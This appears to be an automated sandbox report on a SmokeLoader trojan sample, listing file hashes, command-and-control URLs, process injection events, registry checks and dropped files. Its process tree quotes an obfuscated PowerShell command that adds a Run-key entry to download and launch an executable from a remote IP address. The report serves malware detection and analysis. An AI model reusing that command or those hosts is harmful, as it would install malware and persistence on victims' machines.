smokeloader | 138d79111af4f878d637e1a8dcf7dbdd46f70527eb68908ad2f977a3554031eb

Analysis

max time kernel
147s
max time network
183s
platform
windows7_x64
resource
win7v20210408
submitted
13-08-2021 10:05

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General

Target

b5de39be28a0649ef87494a658668e13.exe
Size

180KB
MD5

b5de39be28a0649ef87494a658668e13
SHA1

92e28e70185243da45ee2432241a58b0d4e7fda3
SHA256

138d79111af4f878d637e1a8dcf7dbdd46f70527eb68908ad2f977a3554031eb
SHA512

2065705100b75f249a6d558342b228442785c0848e027c805e7785de954d7dce93a015e4be9d1ce80a26d5e5bb22d0b4d788ee02dea22413f35a227928608e31

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file
Executes dropped EXE 5 IoCs

Processes:

81C.exeBB5.exeE26.exeRuntimebroker.exe1114.exe

pid process

1488 81C.exe
556 BB5.exe
1556 E26.exe
1964 Runtimebroker.exe
1684 1114.exe
Deletes itself 1 IoCs

Processes:

pid process

1256

pid	process
1488	81C.exe
556	BB5.exe
1556	E26.exe
1964	Runtimebroker.exe
1684	1114.exe

pid	process
1256

Drops startup file 2 IoCs

Processes:

cmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe

Loads dropped DLL 2 IoCs

Processes:

BB5.exe

pid process

556 BB5.exe
556 BB5.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

b5de39be28a0649ef87494a658668e13.exe

description pid process target process

PID 1960 set thread context of 1904 1960 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe

pid	process
556	BB5.exe
556	BB5.exe

description	pid	process	target process
PID 1960 set thread context of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

b5de39be28a0649ef87494a658668e13.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b5de39be28a0649ef87494a658668e13.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b5de39be28a0649ef87494a658668e13.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	b5de39be28a0649ef87494a658668e13.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

b5de39be28a0649ef87494a658668e13.exe

pid	process
1904	b5de39be28a0649ef87494a658668e13.exe
1904	b5de39be28a0649ef87494a658668e13.exe
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256
1256

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1256
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

b5de39be28a0649ef87494a658668e13.exe

pid process

1904 b5de39be28a0649ef87494a658668e13.exe
Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

pid process

1256
1256
1256
1256
Suspicious use of SendNotifyMessage 6 IoCs

Processes:

pid process

1256
1256
1256
1256
1256
1256
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

81C.exe

pid process

1488 81C.exe

pid	process
1256

pid	process
1256
1256
1256
1256

pid	process
1256
1256
1256
1256
1256
1256

pid	process
1488	81C.exe

Suspicious use of WriteProcessMemory 35 IoCs

Processes:

b5de39be28a0649ef87494a658668e13.exeBB5.exeE26.exeRuntimebroker.exe

description	pid	process	target process
PID 1960 wrote to memory of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe
PID 1960 wrote to memory of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe
PID 1960 wrote to memory of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe
PID 1960 wrote to memory of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe
PID 1960 wrote to memory of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe
PID 1960 wrote to memory of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe
PID 1960 wrote to memory of 1904	1960	b5de39be28a0649ef87494a658668e13.exe	b5de39be28a0649ef87494a658668e13.exe
PID 1256 wrote to memory of 1488	1256		81C.exe
PID 1256 wrote to memory of 1488	1256		81C.exe
PID 1256 wrote to memory of 1488	1256		81C.exe
PID 1256 wrote to memory of 1488	1256		81C.exe
PID 1256 wrote to memory of 556	1256		BB5.exe
PID 1256 wrote to memory of 556	1256		BB5.exe
PID 1256 wrote to memory of 556	1256		BB5.exe
PID 1256 wrote to memory of 556	1256		BB5.exe
PID 1256 wrote to memory of 1556	1256		E26.exe
PID 1256 wrote to memory of 1556	1256		E26.exe
PID 1256 wrote to memory of 1556	1256		E26.exe
PID 1256 wrote to memory of 1556	1256		E26.exe
PID 556 wrote to memory of 1964	556	BB5.exe	Runtimebroker.exe
PID 556 wrote to memory of 1964	556	BB5.exe	Runtimebroker.exe
PID 556 wrote to memory of 1964	556	BB5.exe	Runtimebroker.exe
PID 556 wrote to memory of 1964	556	BB5.exe	Runtimebroker.exe
PID 1256 wrote to memory of 1684	1256		1114.exe
PID 1256 wrote to memory of 1684	1256		1114.exe
PID 1256 wrote to memory of 1684	1256		1114.exe
PID 1256 wrote to memory of 1684	1256		1114.exe
PID 1556 wrote to memory of 1408	1556	E26.exe	cmd.exe
PID 1556 wrote to memory of 1408	1556	E26.exe	cmd.exe
PID 1556 wrote to memory of 1408	1556	E26.exe	cmd.exe
PID 1556 wrote to memory of 1408	1556	E26.exe	cmd.exe
PID 1964 wrote to memory of 948	1964	Runtimebroker.exe	powershell.exe
PID 1964 wrote to memory of 948	1964	Runtimebroker.exe	powershell.exe
PID 1964 wrote to memory of 948	1964	Runtimebroker.exe	powershell.exe
PID 1964 wrote to memory of 948	1964	Runtimebroker.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe
"C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1960

C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe
"C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1904

C:\Users\Admin\AppData\Local\Temp\81C.exe
C:\Users\Admin\AppData\Local\Temp\81C.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1488

C:\Users\Admin\AppData\Local\Temp\BB5.exe
C:\Users\Admin\AppData\Local\Temp\BB5.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:556

C:\ProgramData\Runtimebroker.exe
"C:\ProgramData\Runtimebroker.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
3⤵
PID:948

C:\Users\Admin\AppData\Local\Temp\E26.exe
C:\Users\Admin\AppData\Local\Temp\E26.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1556

C:\Windows\SysWOW64\cmd.exe
cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
2⤵
- Drops startup file
PID:1408

C:\Users\Admin\AppData\Local\Temp\1114.exe
C:\Users\Admin\AppData\Local\Temp\1114.exe
1⤵
- Executes dropped EXE
PID:1684

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\Runtimebroker.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\ProgramData\Runtimebroker.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\1114.exe
MD5
5707ddada5b7ea6bef434cd294fa12e1

SHA1
45bb285a597b30e100ed4b15d96a29d718697e5e

SHA256
85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

SHA512
91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

Download Submit
C:\Users\Admin\AppData\Local\Temp\1114.exe
MD5
5707ddada5b7ea6bef434cd294fa12e1

SHA1
45bb285a597b30e100ed4b15d96a29d718697e5e

SHA256
85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

SHA512
91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

Download Submit
C:\Users\Admin\AppData\Local\Temp\81C.exe
MD5
a69e12607d01237460808fa1709e5e86

SHA1
4a12f82aee1c90e70cdf6be863ce1a749c8ae411

SHA256
188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

SHA512
7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB5.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB5.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\E26.exe
MD5
b19ac380411ed5d8b5a7e7e0c1da61a6

SHA1
9665c20336a5ce437bbf7b564370bfa43e99954c

SHA256
aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

SHA512
73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

Download Submit
C:\Users\Admin\AppData\Local\Temp\E26.exe
MD5
b19ac380411ed5d8b5a7e7e0c1da61a6

SHA1
9665c20336a5ce437bbf7b564370bfa43e99954c

SHA256
aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

SHA512
73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

Download Submit
C:\Users\Admin\AppData\Local\Temp\s.bat
MD5
40799ea8514dd78785ec9eb185e297f7

SHA1
4c489c83d8ec8396f385a7ab07293107b2f1a656

SHA256
54be6384a6e25bf168757a3411da0e45dba7b4f930f92590c13dfaa6e50d3dc8

SHA512
c54a2108eece73f9c6d4cf8f2eb0bbdfde82d66cf2ff6bd1f348b1223134b10184a20822fad2f09a5f8281a6b3048de8afcf87a2f293d49c60e3abc4d7063cde

Download Submit
\ProgramData\Runtimebroker.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
\ProgramData\Runtimebroker.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
memory/556-72-0x0000000002E10000-0x0000000002E4B000-memory.dmp

Filesize
236KB

Download
memory/556-69-0x0000000000000000-mapping.dmp

Download
memory/556-81-0x0000000000400000-0x0000000002C7C000-memory.dmp

Filesize
40.5MB

Download
memory/948-100-0x0000000000400000-0x0000000000401000-memory.dmp

Filesize
4KB

Download
memory/948-101-0x00000000049B0000-0x00000000049B1000-memory.dmp

Filesize
4KB

Download
memory/948-102-0x0000000004970000-0x0000000004971000-memory.dmp

Filesize
4KB

Download
memory/948-103-0x0000000004972000-0x0000000004973000-memory.dmp

Filesize
4KB

Download
memory/948-96-0x0000000000000000-mapping.dmp

Download
memory/1256-64-0x0000000002A20000-0x0000000002A36000-memory.dmp

Filesize
88KB

Download
memory/1408-94-0x0000000000000000-mapping.dmp

Download
memory/1488-65-0x0000000000000000-mapping.dmp

Download
memory/1556-92-0x0000000000400000-0x0000000002D86000-memory.dmp

Filesize
41.5MB

Download
memory/1556-88-0x00000000033B0000-0x00000000035F3000-memory.dmp

Filesize
2.3MB

Download
memory/1556-74-0x0000000000000000-mapping.dmp

Download
memory/1556-91-0x0000000004DB0000-0x0000000004FC1000-memory.dmp

Filesize
2.1MB

Download
memory/1556-89-0x0000000000400000-0x0000000002D86000-memory.dmp

Filesize
41.5MB

Download
memory/1684-83-0x0000000000000000-mapping.dmp

Download
memory/1684-86-0x0000000001000000-0x0000000001001000-memory.dmp

Filesize
4KB

Download
memory/1684-90-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

Filesize
4KB

Download
memory/1904-60-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/1904-62-0x0000000075201000-0x0000000075203000-memory.dmp

Filesize
8KB

Download
memory/1904-61-0x0000000000402E1A-mapping.dmp

Download
memory/1960-63-0x0000000000220000-0x000000000022A000-memory.dmp

Filesize
40KB

Download
memory/1964-82-0x0000000000400000-0x0000000002C7C000-memory.dmp

Filesize
40.5MB

Download
memory/1964-78-0x0000000000000000-mapping.dmp

Download